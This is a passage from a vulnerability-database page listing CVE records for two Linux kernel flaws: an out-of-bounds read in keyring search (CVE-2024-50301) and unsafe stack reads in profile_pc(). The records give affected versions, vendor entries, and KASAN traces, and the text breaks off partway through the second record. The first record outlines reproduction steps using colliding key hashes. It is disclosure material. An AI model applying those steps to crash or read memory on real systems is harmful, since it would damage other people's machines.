                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H

CWE

CWE-125 - Out-of-bounds Read

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/c3ce634ad953ce48c…
https://git.kernel.org/stable/c/4efb69a0e294ef201…
https://git.kernel.org/stable/c/1e4332581cd4eed75…
https://git.kernel.org/stable/c/199c20fb7499c7955…
https://git.kernel.org/stable/c/bbad2d5b6c99db468…
https://git.kernel.org/stable/c/3e79ad156bedf2da0…
https://git.kernel.org/stable/c/e0a317ad68e4ea48a…
https://git.kernel.org/stable/c/4a74da044ec9ec867…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: b2a4df200d570b2c33a57e1ebfa5896e4bc81b69 , < c3ce634ad953ce48c75c39bdfd8b711dd95f346f (git) Affected: b2a4df200d570b2c33a57e1ebfa5896e4bc81b69 , < 4efb69a0e294ef201bcdf7ce3d6202cd0a545a5d (git) Affected: b2a4df200d570b2c33a57e1ebfa5896e4bc81b69 , < 1e4332581cd4eed75aea77af6f66cdcdda8b49b9 (git) Affected: b2a4df200d570b2c33a57e1ebfa5896e4bc81b69 , < 199c20fb7499c79557a075dc24e9a7dae7d9f1ce (git) Affected: b2a4df200d570b2c33a57e1ebfa5896e4bc81b69 , < bbad2d5b6c99db468d8f88b6ba6a56ed409b4881 (git) Affected: b2a4df200d570b2c33a57e1ebfa5896e4bc81b69 , < 3e79ad156bedf2da0ab909a118d2cec6c9c22b79 (git) Affected: b2a4df200d570b2c33a57e1ebfa5896e4bc81b69 , < e0a317ad68e4ea48a0158187238c5407e4fdec8b (git) Affected: b2a4df200d570b2c33a57e1ebfa5896e4bc81b69 , < 4a74da044ec9ec8679e6beccc4306b936b62873f (git)
Linux	Linux	Affected: 3.13 Unaffected: 0 , < 3.13 (semver) Unaffected: 4.19.324 , ≤ 4.19.* (semver) Unaffected: 5.4.286 , ≤ 5.4.* (semver) Unaffected: 5.10.230 , ≤ 5.10.* (semver) Unaffected: 5.15.172 , ≤ 5.15.* (semver) Unaffected: 6.1.117 , ≤ 6.1.* (semver) Unaffected: 6.6.61 , ≤ 6.6.* (semver) Unaffected: 6.11.8 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 7.1,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-50301",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-10-01T20:13:51.070925Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-125",
                "description": "CWE-125 Out-of-bounds Read",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-10-01T20:17:19.840Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:28:18.152Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:00:59.478Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "security/keys/keyring.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "c3ce634ad953ce48c75c39bdfd8b711dd95f346f",
              "status": "affected",
              "version": "b2a4df200d570b2c33a57e1ebfa5896e4bc81b69",
              "versionType": "git"
            },
            {
              "lessThan": "4efb69a0e294ef201bcdf7ce3d6202cd0a545a5d",
              "status": "affected",
              "version": "b2a4df200d570b2c33a57e1ebfa5896e4bc81b69",
              "versionType": "git"
            },
            {
              "lessThan": "1e4332581cd4eed75aea77af6f66cdcdda8b49b9",
              "status": "affected",
              "version": "b2a4df200d570b2c33a57e1ebfa5896e4bc81b69",
              "versionType": "git"
            },
            {
              "lessThan": "199c20fb7499c79557a075dc24e9a7dae7d9f1ce",
              "status": "affected",
              "version": "b2a4df200d570b2c33a57e1ebfa5896e4bc81b69",
              "versionType": "git"
            },
            {
              "lessThan": "bbad2d5b6c99db468d8f88b6ba6a56ed409b4881",
              "status": "affected",
              "version": "b2a4df200d570b2c33a57e1ebfa5896e4bc81b69",
              "versionType": "git"
            },
            {
              "lessThan": "3e79ad156bedf2da0ab909a118d2cec6c9c22b79",
              "status": "affected",
              "version": "b2a4df200d570b2c33a57e1ebfa5896e4bc81b69",
              "versionType": "git"
            },
            {
              "lessThan": "e0a317ad68e4ea48a0158187238c5407e4fdec8b",
              "status": "affected",
              "version": "b2a4df200d570b2c33a57e1ebfa5896e4bc81b69",
              "versionType": "git"
            },
            {
              "lessThan": "4a74da044ec9ec8679e6beccc4306b936b62873f",
              "status": "affected",
              "version": "b2a4df200d570b2c33a57e1ebfa5896e4bc81b69",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "security/keys/keyring.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.13"
            },
            {
              "lessThan": "3.13",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.324",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.286",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.230",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.172",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.117",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.61",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.8",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.324",
                  "versionStartIncluding": "3.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.286",
                  "versionStartIncluding": "3.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.230",
                  "versionStartIncluding": "3.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.172",
                  "versionStartIncluding": "3.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.117",
                  "versionStartIncluding": "3.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.61",
                  "versionStartIncluding": "3.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.8",
                  "versionStartIncluding": "3.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "3.13",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nsecurity/keys: fix slab-out-of-bounds in key_task_permission\n\nKASAN reports an out of bounds read:\nBUG: KASAN: slab-out-of-bounds in __kuid_val include/linux/uidgid.h:36\nBUG: KASAN: slab-out-of-bounds in uid_eq include/linux/uidgid.h:63 [inline]\nBUG: KASAN: slab-out-of-bounds in key_task_permission+0x394/0x410\nsecurity/keys/permission.c:54\nRead of size 4 at addr ffff88813c3ab618 by task stress-ng/4362\n\nCPU: 2 PID: 4362 Comm: stress-ng Not tainted 5.10.0-14930-gafbffd6c3ede #15\nCall Trace:\n __dump_stack lib/dump_stack.c:82 [inline]\n dump_stack+0x107/0x167 lib/dump_stack.c:123\n print_address_description.constprop.0+0x19/0x170 mm/kasan/report.c:400\n __kasan_report.cold+0x6c/0x84 mm/kasan/report.c:560\n kasan_report+0x3a/0x50 mm/kasan/report.c:585\n __kuid_val include/linux/uidgid.h:36 [inline]\n uid_eq include/linux/uidgid.h:63 [inline]\n key_task_permission+0x394/0x410 security/keys/permission.c:54\n search_nested_keyrings+0x90e/0xe90 security/keys/keyring.c:793\n\nThis issue was also reported by syzbot.\n\nIt can be reproduced by following these steps(more details [1]):\n1. Obtain more than 32 inputs that have similar hashes, which ends with the\n   pattern \u00270xxxxxxxe6\u0027.\n2. Reboot and add the keys obtained in step 1.\n\nThe reproducer demonstrates how this issue happened:\n1. In the search_nested_keyrings function, when it iterates through the\n   slots in a node(below tag ascend_to_node), if the slot pointer is meta\n   and node-\u003eback_pointer != NULL(it means a root), it will proceed to\n   descend_to_node. However, there is an exception. If node is the root,\n   and one of the slots points to a shortcut, it will be treated as a\n   keyring.\n2. Whether the ptr is keyring decided by keyring_ptr_is_keyring function.\n   However, KEYRING_PTR_SUBTYPE is 0x2UL, the same as\n   ASSOC_ARRAY_PTR_SUBTYPE_MASK.\n3. When 32 keys with the similar hashes are added to the tree, the ROOT\n   has keys with hashes that are not similar (e.g. slot 0) and it splits\n   NODE A without using a shortcut. When NODE A is filled with keys that\n   all hashes are xxe6, the keys are similar, NODE A will split with a\n   shortcut. Finally, it forms the tree as shown below, where slot 6 points\n   to a shortcut.\n\n                      NODE A\n              +------\u003e+---+\n      ROOT    |       | 0 | xxe6\n      +---+   |       +---+\n xxxx | 0 | shortcut  :   : xxe6\n      +---+   |       +---+\n xxe6 :   :   |       |   | xxe6\n      +---+   |       +---+\n      | 6 |---+       :   : xxe6\n      +---+           +---+\n xxe6 :   :           | f | xxe6\n      +---+           +---+\n xxe6 | f |\n      +---+\n\n4. As mentioned above, If a slot(slot 6) of the root points to a shortcut,\n   it may be mistakenly transferred to a key*, leading to a read\n   out-of-bounds read.\n\nTo fix this issue, one should jump to descend_to_node if the ptr is a\nshortcut, regardless of whether the node is root or not.\n\n[1] https://lore.kernel.org/linux-kernel/1cfa878e-8c7b-4570-8606-21daf5e13ce7@huaweicloud.com/\n\n[jarkko: tweaked the commit message a bit to have an appropriate closes\n tag.]"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:49:30.283Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/c3ce634ad953ce48c75c39bdfd8b711dd95f346f"
        },
        {
          "url": "https://git.kernel.org/stable/c/4efb69a0e294ef201bcdf7ce3d6202cd0a545a5d"
        },
        {
          "url": "https://git.kernel.org/stable/c/1e4332581cd4eed75aea77af6f66cdcdda8b49b9"
        },
        {
          "url": "https://git.kernel.org/stable/c/199c20fb7499c79557a075dc24e9a7dae7d9f1ce"
        },
        {
          "url": "https://git.kernel.org/stable/c/bbad2d5b6c99db468d8f88b6ba6a56ed409b4881"
        },
        {
          "url": "https://git.kernel.org/stable/c/3e79ad156bedf2da0ab909a118d2cec6c9c22b79"
        },
        {
          "url": "https://git.kernel.org/stable/c/e0a317ad68e4ea48a0158187238c5407e4fdec8b"
        },
        {
          "url": "https://git.kernel.org/stable/c/4a74da044ec9ec8679e6beccc4306b936b62873f"
        }
      ],
      "title": "security/keys: fix slab-out-of-bounds in key_task_permission",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-50301",
    "datePublished": "2024-11-19T01:30:49.982Z",
    "dateReserved": "2024-10-21T19:36:19.987Z",
    "dateUpdated": "2026-05-12T12:00:59.478Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-42096 (GCVE-0-2024-42096)

Vulnerability from cvelistv5 – Published: 2024-07-29 17:39 – Updated: 2026-05-12 11:56

Title

x86: stop playing stack games in profile_pc()

Summary

In the Linux kernel, the following vulnerability has been resolved: x86: stop playing stack games in profile_pc() The 'profile_pc()' function is used for timer-based profiling, which isn't really all that relevant any more to begin with, but it also ends up making assumptions based on the stack layout that aren't necessarily valid. Basically, the code tries to account the time spent in spinlocks to the caller rather than the spinlock, and while I support that as a concept, it's not worth the code complexity or the KASAN warnings when no serious profiling is done using timers anyway these days. And the code really does depend on stack layout that is only true in the simplest of cases. We've lost the comment at some point (I think when the 32-bit and 64-bit code was unified), but it used to say: Assume the lock function has either no stack frame or a copy of eflags from PUSHF. which explains why it just blindly loads a word or two straight off the stack pointer and then takes a minimal look at the values to just check if they might be eflags or the return pc: Eflags always has bits 22 and up cleared unlike kernel addresses but that basic stack layout assumption assumes that there isn't any lock debugging etc going on that would complicate the code and cause a stack frame. It causes KASAN unhappiness reported for years by syzkaller [1] and others [2]. With no real practical reason for this any more, just remove the code. Just for historical interest, here's some background commits relating to this code from 2006: 0cb91a229364 ("i386: Account spinlocks to the caller during profiling for !FP kernels") 31679f38d886 ("Simplify profile_pc on x86-64") and a code unification from 2009: ef4512882dbe ("x86: time_32/64.c unify profile_pc") but the basics of this thing actually goes back to before the git tree.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/65ebdde16e7f5da99…
https://git.kernel.org/stable/c/27c3be840911b15a3…
https://git.kernel.org/stable/c/49c09ca35a5f521d7…
https://git.kernel.org/stable/c/2d07fea561d64357f…
https://git.kernel.org/stable/c/161cef818545ecf98…
https://git.kernel.org/stable/c/16222beb9f8e5ceb0…
https://git.kernel.org/stable/c/a3b65c8cbc139bfce…
https://git.kernel.org/stable/c/093d9603b60093a9a…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 65ebdde16e7f5da99dbf8a548fb635837d78384e (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 27c3be840911b15a3f24ed623f86153c825b6b29 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 49c09ca35a5f521d7fa18caf62fdf378f15e8aa4 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 2d07fea561d64357fb7b3f3751e653bf20306d77 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 161cef818545ecf980f0e2ebaf8ba7326ce53c2b (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 16222beb9f8e5ceb0beeb5cbe54bef16df501a92 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < a3b65c8cbc139bfce9541bc81c1bb766e5ba3f68 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 093d9603b60093a9aaae942db56107f6432a5dca (git)
Linux	Linux	Affected: 2.6.12 Unaffected: 0 , < 2.6.12 (semver) Unaffected: 4.19.317 , ≤ 4.19.* (semver) Unaffected: 5.4.279 , ≤ 5.4.* (semver) Unaffected: 5.10.221 , ≤ 5.10.* (semver) Unaffected: 5.15.162 , ≤ 5.15.* (semver) Unaffected: 6.1.97 , ≤ 6.1.* (semver) Unaffected: 6.6.37 , ≤ 6.6.* (semver) Unaffected: 6.9.8 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:01:30.636Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/65ebdde16e7f5da99dbf8a548fb635837d78384e"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/27c3be840911b15a3f24ed623f86153c825b6b29"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/49c09ca35a5f521d7fa18caf62fdf378f15e8aa4"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2d07fea561d64357fb7b3f3751e653bf20306d77"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/161cef818545ecf980f0e2ebaf8ba7326ce53c2b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/16222beb9f8e5ceb0beeb5cbe54bef16df501a92"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a3b65c8cbc139bfce9541bc81c1bb766e5ba3f68"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/093d9603b60093a9aaae942db56107f6432a5dca"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-42096",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T16:18:21.628470Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:33:00.264Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:56:37.340Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "arch/x86/kernel/time.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "65ebdde16e7f5da99dbf8a548fb635837d78384e",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "27c3be840911b15a3f24ed623f86153c825b6b29",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "49c09ca35a5f521d7fa18caf62fdf378f15e8aa4",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "2d07fea561d64357fb7b3f3751e653bf20306d77",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "161cef818545ecf980f0e2ebaf8ba7326ce53c2b",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "16222beb9f8e5ceb0beeb5cbe54bef16df501a92",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "a3b65c8cbc139bfce9541bc81c1bb766e5ba3f68",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "093d9603b60093a9aaae942db56107f6432a5dca",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "arch/x86/kernel/time.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.12"
            },
            {
              "lessThan": "2.6.12",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.317",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.279",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.221",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.162",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.97",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.37",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.8",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.317",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.279",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.221",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.162",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.97",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.37",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.8",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
